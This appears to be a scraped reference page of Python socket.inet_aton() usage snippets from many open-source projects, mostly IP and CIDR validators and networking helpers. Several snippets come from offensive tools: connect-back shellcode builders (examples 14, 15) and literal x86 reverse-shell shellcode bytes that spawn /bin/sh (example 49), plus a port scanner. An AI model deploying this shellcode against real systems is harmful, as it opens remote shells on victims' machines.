Python socket.inet_aton() Examples
The following are code examples for showing how to use socket.inet_aton(). They are extracted from open source Python projects. You can vote up the examples you like or vote down the ones you don't like. You can also save this page to your account.
Example 1
Project: Static-UPnP Author: nigelb File: util.py (license) View Source Project | 8 votes |
def setup_sockets(self): self.sockets = {} ip_addresses = get_interface_addresses(self.logger) self.ip_addresses = ip_addresses multi_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) multi_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) multi_sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, self.ttl) for ip in ip_addresses: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) mreq=socket.inet_aton(self.address)+socket.inet_aton(ip) multi_sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) self.logger.info("Regestering multicast for: %s: %s"%(self.address, ip)) sock.bind((ip, self.port)) self.sockets[ip] = sock multi_sock.bind(("", self.port)) self.socks = [self.sockets[x] for x in self.sockets.keys()] self.multi_sock = multi_sock
Example 2
Project: hostapd-mana Author: adde88 File: unix.py (license) View Source Project | 7 votes |
def addUTMPEntry(self, loggedIn=1): if not utmp: return ipAddress = self.avatar.conn.transport.transport.getPeer().host packedIp ,= struct.unpack('L', socket.inet_aton(ipAddress)) ttyName = self.ptyTuple[2][5:] t = time.time() t1 = int(t) t2 = int((t-t1) * 1e6) entry = utmp.UtmpEntry() entry.ut_type = loggedIn and utmp.USER_PROCESS or utmp.DEAD_PROCESS entry.ut_pid = self.pty.pid entry.ut_line = ttyName entry.ut_id = ttyName[-4:] entry.ut_tv = (t1,t2) if loggedIn: entry.ut_user = self.avatar.username entry.ut_host = socket.gethostbyaddr(ipAddress)[0] entry.ut_addr_v6 = (packedIp, 0, 0, 0) a = utmp.UtmpRecord(utmp.UTMP_FILE) a.pututline(entry) a.endutent() b = utmp.UtmpRecord(utmp.WTMP_FILE) b.pututline(entry) b.endutent()
Example 3
Project: python- Author: secondtonone1 File: utils.py (license) View Source Project | 6 votes |
def is_valid_cidr(string_network): """ Very simple check of the cidr format in no_proxy variable. :rtype: bool """ if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 4
Project: cbapi-examples Author: cbcommunity File: network_subnet_search.py (MIT License) View Source Project | 6 votes |
def addressInNetwork(self, ip, cidr): # the ip can be the emtpy string ('') in cases where the connection # is made via a web proxy. in these cases the sensor cannot report # the true remote IP as DNS resolution happens on the web proxy (and # not the endpoint) if '' == ip: return False try: net = cidr.split('/')[0] bits = cidr.split('/')[1] if int(ip) > 0: ipaddr = struct.unpack('<L', socket.inet_aton(ip))[0] else: ipaddr = struct.unpack('<L', socket.inet_aton(".".join(map(lambda n: str(int(ip)>>n & 0xFF), [24,16,8,0]))))[0] netaddr = struct.unpack('<L', socket.inet_aton(net))[0] netmask = ((1L << int(bits)) - 1) return ipaddr & netmask == netaddr & netmask except: return False
Example 5
Project: my-first-blog Author: AnkurBegining File: utils.py (license) View Source Project | 6 votes |
def is_valid_cidr(string_network): """ Very simple check of the cidr format in no_proxy variable. :rtype: bool """ if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 6
Project: cbapi-python Author: carbonblack File: network_subnet_search.py (license) View Source Project | 6 votes |
def addressInNetwork(self, ip, cidr): # the ip can be the emtpy string ('') in cases where the connection # is made via a web proxy. in these cases the sensor cannot report # the true remote IP as DNS resolution happens on the web proxy (and # not the endpoint) if '' == ip: return False try: net = cidr.split('/')[0] bits = cidr.split('/')[1] if int(ip) > 0: ipaddr = struct.unpack('<L', socket.inet_aton(ip))[0] else: ipaddr = struct.unpack('<L', socket.inet_aton(".".join(map(lambda n: str(int(ip)>>n & 0xFF), [24,16,8,0]))))[0] netaddr = struct.unpack('<L', socket.inet_aton(net))[0] netmask = ((1L << int(bits)) - 1) return ipaddr & netmask == netaddr & netmask except: return False
Example 7
Project: googletranslate.popclipext Author: wizyoung File: utils.py (MIT License) View Source Project | 6 votes |
def is_valid_cidr(string_network): """ Very simple check of the cidr format in no_proxy variable. :rtype: bool """ if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 8
Project: gransk Author: pcbje File: find_entities.py (Apache License 2.0) View Source Project | 6 votes |
def consume(self, doc, _): """ Find entities in documents matching compiled regular expression. :param doc: Document object. :type doc: ``gransk.core.document.Document`` """ if not doc.text: return entities = doc.entities for result in self.pattern.finditer(doc.text): entity_value = result.group(result.lastgroup) if result.lastgroup == 'ip_addr': try: socket.inet_aton(entity_value) except socket.error: continue entities.add( result.start(result.lastgroup), result.lastgroup, entity_value)
Example 9
Project: deb-python-cassandra-driver Author: openstack File: util.py (Apache License 2.0) View Source Project | 6 votes |
def inet_pton(address_family, ip_string): if address_family == socket.AF_INET: return socket.inet_aton(ip_string) addr = sockaddr() addr.sa_family = address_family addr_size = ctypes.c_int(ctypes.sizeof(addr)) if WSAStringToAddressA( ip_string, address_family, None, ctypes.byref(addr), ctypes.byref(addr_size) ) != 0: raise socket.error(ctypes.FormatError()) if address_family == socket.AF_INET6: return ctypes.string_at(addr.ipv6_addr, 16) raise socket.error('unknown address family')
Example 10
Project: Flask_Blog Author: sugarguo File: utils.py (GNU General Public License v3.0) View Source Project | 6 votes |
def is_valid_cidr(string_network): """Very simple check of the cidr format in no_proxy variable""" if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 11
Project: MacOpener Author: nw4869 File: MacOpener.py (Apache License 2.0) View Source Project | 6 votes |
def __init__(self, server=DEFAULT_SERVER, port=DEFAULT_PORT, local_ip=None, debug=False, ip_forward=False): self.server = server self.port = port self.uid = b'test' self.ip = None self.debug = debug if ip_forward: self.ip = self.server else: if local_ip is not None: self.ip = local_ip else: # only available for dormitory subnet import IpFinder self.ip = IpFinder.get_ip_startswith('10.21.') or IpFinder.get_ip_startswith('10.20.') assert ip_forward or self.ip is not None, 'Can not find a correct local ip address. \ Please specify the IP address thought command-line argument using --ip' self.ip = socket.inet_aton(self.ip)
Example 12
Project: pip-update-requirements Author: alanhamlett File: utils.py (BSD 2-Clause "Simplified" License) View Source Project | 6 votes |
def is_valid_cidr(string_network): """ Very simple check of the cidr format in no_proxy variable. :rtype: bool """ if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 13
Project: aws-waf-security-automation Author: cerbo File: utils.py (Apache License 2.0) View Source Project | 6 votes |
def is_valid_cidr(string_network): """Very simple check of the cidr format in no_proxy variable""" if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 14
Project: rex Author: shellphish File: linux_amd64_connectback.py (license) View Source Project | 6 votes |
def to_raw(self, host, port): #pylint:disable=arguments-differ ''' :param ip: string representing the ip address or domain name to connect back to :param port: port to connect to on the remote host ''' l.debug("Connecting back to %s:%d", host, port) target_ip = socket.gethostbyname(host) raw_ip = socket.inet_aton(target_ip).encode('hex') if port < 0 or port >= 65535: raise ValueError("invalid port specified") raw_port = struct.pack("!H", port).encode('hex') return (self.hex_code % (raw_port, raw_ip)).decode('hex')
Example 15
Project: rex Author: shellphish File: linux_x86_connectback.py (license) View Source Project | 6 votes |
def to_raw(self, host, port): #pylint:disable=arguments-differ ''' :param ip: string representing the ip address or domain name to connect back to :param port: port to connect to on the remote host ''' l.debug("Connecting back to %s:%d", host, port) target_ip = socket.gethostbyname(host) raw_ip = socket.inet_aton(target_ip).encode('hex') if port < 0 or port >= 65535: raise ValueError("invalid port specified") raw_port = struct.pack("!H", port).encode('hex') return (self.hex_code % (raw_ip, raw_port)).decode('hex')
Example 16
Project: swjtu-pyscraper Author: Desgard File: utils.py (MIT License) View Source Project | 6 votes |
def is_valid_cidr(string_network): """Very simple check of the cidr format in no_proxy variable""" if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 17
Project: noc-orchestrator Author: DirceuSilvaLabs File: utils.py (MIT License) View Source Project | 6 votes |
def is_valid_cidr(string_network): """Very simple check of the cidr format in no_proxy variable""" if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 18
Project: noc-orchestrator Author: DirceuSilvaLabs File: utils.py (MIT License) View Source Project | 6 votes |
def is_valid_cidr(string_network): """Very simple check of the cidr format in no_proxy variable""" if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 19
Project: noc-orchestrator Author: DirceuSilvaLabs File: utils.py (MIT License) View Source Project | 6 votes |
def is_valid_cidr(string_network): """Very simple check of the cidr format in no_proxy variable""" if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 20
Project: jira_worklog_scanner Author: pgarneau File: utils.py (license) View Source Project | 6 votes |
def is_valid_cidr(string_network): """ Very simple check of the cidr format in no_proxy variable. :rtype: bool """ if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 21
Project: workflows.kyoyue Author: wizyoung File: utils.py (MIT License) View Source Project | 6 votes |
def is_valid_cidr(string_network): """ Very simple check of the cidr format in no_proxy variable. :rtype: bool """ if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 22
Project: zanph Author: zanph File: utils.py (license) View Source Project | 6 votes |
def is_valid_cidr(string_network): """Very simple check of the cidr format in no_proxy variable""" if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 23
Project: routersploit Author: reverse-shell File: validators.py (license) View Source Project | 6 votes |
def ipv4(address): address = address.replace("http://", "").replace("https://", "") try: socket.inet_pton(socket.AF_INET, address) except AttributeError: try: socket.inet_aton(address) except socket.error: raise OptionValidationError("Option have to be valid IP address.") if address.count('.') == 3: return address else: raise OptionValidationError("Option have to be valid IP address.") except socket.error: raise OptionValidationError("Option have to be valid IP address.") return address
Example 24
Project: Tenable.io-SDK-for-Python Author: tenable File: util.py (license) View Source Project | 6 votes |
def is_ipv4(value): """Utility function to detect if a value is a valid IPv4 :param value: The value to match against. :return: True if the value is a valid IPv4. """ try: socket.inet_pton(socket.AF_INET, value) except AttributeError: # no inet_pton here, sorry try: socket.inet_aton(value) except socket.error: return False return value.count('.') == 3 except socket.error: # not a valid address return False return True
Example 25
Project: swtoolz-core Author: xcme File: swtoolz-core.py (license) View Source Project | 6 votes |
def is_valid_ipv4_address(address): try: socket.inet_pton(socket.AF_INET, address) except AttributeError: # no inet_pton here, sorry try: socket.inet_aton(address) except socket.error: return False return address.count('.') == 3 except socket.error: # not a valid address return False return True # ??????? ??? ??????????? ?????????? ???????????? ? OID. ??????????????? ???????? '%s' ?? ????????? ? ??????? ????? '0' (?????? ????????) # ????? ??????? ???????? ??? {?} ?? ??????? ? ?? ??????? ? ??????? # ??????, ??? ?????????? ?????????????? ??????? ? ??? ??? ??????? ??? ????, ?? ???? ??????? ????? ?????????? :)
Example 26
Project: hostapd-mana Author: adde88 File: utils.py (license) View Source Project | 6 votes |
def is_valid_cidr(string_network): """Very simple check of the cidr format in no_proxy variable""" if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 27
Project: hostapd-mana Author: adde88 File: test_socks.py (license) View Source Project | 6 votes |
def test_simple(self): self.sock.dataReceived( struct.pack('!BBH', 4, 1, 34) + socket.inet_aton('1.2.3.4') + 'fooBAR' + '\0') sent = self.sock.transport.value() self.sock.transport.clear() self.assertEqual(sent, struct.pack('!BBH', 0, 90, 34) + socket.inet_aton('1.2.3.4')) self.assert_(not self.sock.transport.stringTCPTransport_closing) self.assert_(self.sock.driver_outgoing is not None) # pass some data through self.sock.dataReceived('hello, world') self.assertEqual(self.sock.driver_outgoing.transport.value(), 'hello, world') # the other way around self.sock.driver_outgoing.dataReceived('hi there') self.assertEqual(self.sock.transport.value(), 'hi there') self.sock.connectionLost('fake reason')
Example 28
Project: hostapd-mana Author: adde88 File: test_socks.py (license) View Source Project | 6 votes |
def test_eof_remote(self): self.sock.dataReceived( struct.pack('!BBH', 4, 1, 34) + socket.inet_aton('1.2.3.4') + 'fooBAR' + '\0') sent = self.sock.transport.value() self.sock.transport.clear() # pass some data through self.sock.dataReceived('hello, world') self.assertEqual(self.sock.driver_outgoing.transport.value(), 'hello, world') # now close it from the server side self.sock.driver_outgoing.transport.loseConnection() self.sock.driver_outgoing.connectionLost('fake reason')
Example 29
Project: hostapd-mana Author: adde88 File: test_socks.py (license) View Source Project | 6 votes |
def test_eof_local(self): self.sock.dataReceived( struct.pack('!BBH', 4, 1, 34) + socket.inet_aton('1.2.3.4') + 'fooBAR' + '\0') sent = self.sock.transport.value() self.sock.transport.clear() # pass some data through self.sock.dataReceived('hello, world') self.assertEqual(self.sock.driver_outgoing.transport.value(), 'hello, world') # now close it from the client side self.sock.connectionLost('fake reason')
Example 30
Project: hostapd-mana Author: adde88 File: test_socks.py (license) View Source Project | 6 votes |
def test_bad_source(self): self.sock.dataReceived( struct.pack('!BBH', 4, 2, 34) + socket.inet_aton('1.2.3.4') + 'fooBAR' + '\0') sent = self.sock.transport.value() self.sock.transport.clear() # connect from WRONG address incoming = self.sock.driver_listen.buildProtocol(('1.6.6.6', 666)) self.assertIdentical(incoming, None) # Now we should have the second reply packet and it should # be a failure. The connection should be closing. sent = self.sock.transport.value() self.sock.transport.clear() self.assertEqual(sent, struct.pack('!BBH', 0, 91, 0) + socket.inet_aton('0.0.0.0')) self.assert_(self.sock.transport.stringTCPTransport_closing)
Example 31
Project: hostapd-mana Author: adde88 File: utils.py (license) View Source Project | 6 votes |
def is_valid_cidr(string_network): """Very simple check of the cidr format in no_proxy variable""" if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 32
Project: YoWhenReady Author: jnsdrtlf File: utils.py (license) View Source Project | 6 votes |
def is_valid_cidr(string_network): """Very simple check of the cidr format in no_proxy variable""" if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 33
Project: Sci-Finder Author: snverse File: utils.py (license) View Source Project | 6 votes |
def is_valid_cidr(string_network): """ Very simple check of the cidr format in no_proxy variable. :rtype: bool """ if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 34
Project: purelove Author: hucmosin File: scan.py (license) View Source Project | 6 votes |
def single_host(ip): try: socket.inet_aton(ip) except socket.error: return 'Error: Invalid IP address.' results = '' for p in PORTS: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) c = s.connect_ex((ip, p)) socket.setdefaulttimeout(0.5) state = 'open' if not c else 'closed' results += '{:>5}/tcp {:>7}\n'.format(p, state) return results.rstrip()
Example 35
Project: purelove Author: hucmosin File: scan.py (license) View Source Project | 6 votes |
def single_host(ip): try: socket.inet_aton(ip) except socket.error: return 'Error: Invalid IP address.' results = '' for p in PORTS: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) c = s.connect_ex((ip, p)) socket.setdefaulttimeout(0.5) state = 'open' if not c else 'closed' results += '{:>5}/tcp {:>7}\n'.format(p, state) return results.rstrip()
Example 36
Project: purelove Author: hucmosin File: validators.py (license) View Source Project | 6 votes |
def ipv4(address): address = address.replace("http://", "").replace("https://", "") try: socket.inet_pton(socket.AF_INET, address) except AttributeError: try: socket.inet_aton(address) except socket.error: raise OptionValidationError("Option have to be valid IP address.") if address.count('.') == 3: return address else: raise OptionValidationError("Option have to be valid IP address.") except socket.error: raise OptionValidationError("Option have to be valid IP address.") return address
Example 37
Project: alexa-stackoverflow Author: benvand File: utils.py (license) View Source Project | 6 votes |
def is_valid_cidr(string_network): """Very simple check of the cidr format in no_proxy variable""" if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 38
Project: devsecops-example-helloworld Author: boozallen File: utils.py (license) View Source Project | 6 votes |
def is_valid_cidr(string_network): """Very simple check of the cidr format in no_proxy variable""" if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 39
Project: harbour-sailfinder Author: DylanVanAssche File: utils.py (license) View Source Project | 6 votes |
def is_valid_cidr(string_network): """ Very simple check of the cidr format in no_proxy variable. :rtype: bool """ if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 40
Project: QXSConsolas Author: qxsch File: utils.py (license) View Source Project | 6 votes |
def is_valid_cidr(string_network): """Very simple check of the cidr format in no_proxy variable""" if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 41
Project: ascii-art-py Author: blinglnav File: utils.py (license) View Source Project | 6 votes |
def is_valid_cidr(string_network): """ Very simple check of the cidr format in no_proxy variable. :rtype: bool """ if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 42
Project: Texty Author: sarthfrey File: utils.py (license) View Source Project | 6 votes |
def is_valid_cidr(string_network): """Very simple check of the cidr format in no_proxy variable""" if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 43
Project: pychinadns Author: faicker File: chinanet.py (license) View Source Project | 6 votes |
def __init__(self, chnroutes, blacklists, using_rfc1918): self.china_subs = [] self.blackips = set() for sub in chnroutes: (l, h) = self.convert(sub) if l and h: self.china_subs.append((l, h)) for ip in blacklists: try: self.blackips.add(struct.unpack('>I', socket.inet_aton(ip))[0]) except socket.error: continue if using_rfc1918: self.china_subs.append(self.convert("192.168.0.0/16")) self.china_subs.append(self.convert("10.0.0.0/8")) self.china_subs.append(self.convert("172.16.0.0/12")) self.china_subs.sort()
Example 44
Project: pychinadns Author: faicker File: chinanet.py (license) View Source Project | 6 votes |
def convert(self, net): parts = net.split('/') if len(parts) != 2: return (-1, -1) ip_s, mask_s = parts[0], parts[1] if ip_s and mask_s: try: ip = struct.unpack('>I', socket.inet_aton(ip_s))[0] except socket.error: return (-1, -1) mask = int(mask_s) if mask < 0 or mask > 32: return (-1, -1) hex_mask = 0xffffffff - (1 << (32 - mask)) + 1 lowest = ip & hex_mask highest = lowest + (1 << (32 - mask)) - 1 return (lowest, highest)
Example 45
Project: pychinadns Author: faicker File: chinanet.py (license) View Source Project | 6 votes |
def is_in_china(self, str_ip): '''binary search''' try: ip = struct.unpack('>I', socket.inet_aton(str_ip))[0] except socket.error: return False i = 0 j = len(self.china_subs) - 1 while (i <= j): k = (i + j) // 2 if ip > self.china_subs[k][1]: i = k + 1 elif ip < self.china_subs[k][0]: j = k - 1 else: return True return False
Example 46
Project: ghostlines-robofont Author: ghostlines File: utils.py (license) View Source Project | 6 votes |
def is_valid_cidr(string_network): """ Very simple check of the cidr format in no_proxy variable. :rtype: bool """ if string_network.count('/') == 1: try: mask = int(string_network.split('/')[1]) except ValueError: return False if mask < 1 or mask > 32: return False try: socket.inet_aton(string_network.split('/')[0]) except socket.error: return False else: return False return True
Example 47
Project: charm-plumgrid-gateway Author: openstack File: ip.py (Apache License 2.0) View Source Project | 5 votes |
def is_ip(address): """ Returns True if address is a valid IP address. """ try: # Test to see if already an IPv4 address socket.inet_aton(address) return True except socket.error: return False
Example 48
Project: shellgen Author: MarioVilas File: connectshell.py (GNU General Public License v2.0) View Source Project | 5 votes |
def address(self, address): inet_aton(address) self.__address = address
Example 49
Project: shellgen Author: MarioVilas File: connectshell.py (GNU General Public License v2.0) View Source Project | 5 votes |
def compile(self, state = None): bytes = ( "\x6a\x66\x58\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1\xcd\x80\x93\x89\xd1\xb0" "\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x87\xda\x68" ) + inet_aton(self.address) + ( "\x66\x68" ) + pack("!H", self.port) + ( "\x66\x53\x43\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x6a\x0b\x58\x99\x89\xd1" "\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" ) if "\x00" in bytes: self.remove_encoding("nullfree") else: self.add_encoding("nullfree") return bytes
Example 50
Project: defuse_division Author: lelandbatey File: server.py (GNU General Public License v3.0) View Source Project | 5 votes |
def localnet_register(host, port): ''' Runs a never-exiting thread which only registers a local network service via Zeroconf and then responds to info requests. ''' try: from zeroconf import ServiceInfo, Zeroconf from time import sleep except ImportError as e: logging.error( 'Zeroconf not installed, cannot register this server on the local ' 'network. Other players may still connect, but they must be told ' 'what your hostname and port are (hostname: {}, port: {})'.format( host, port)) return advertised_interface = local_address('127.0.0.1') info = ServiceInfo( "_defusedivision._tcp.local.", "{}{}._defusedivision._tcp.local.".format( host.replace('.', '-'), advertised_interface.replace('.', '-')), address=socket.inet_aton(advertised_interface), port=int(port), weight=0, priority=0, properties=b"") zc = Zeroconf() zc.register_service(info) atexit.register(lambda: zc.close()) while True: sleep(0.1)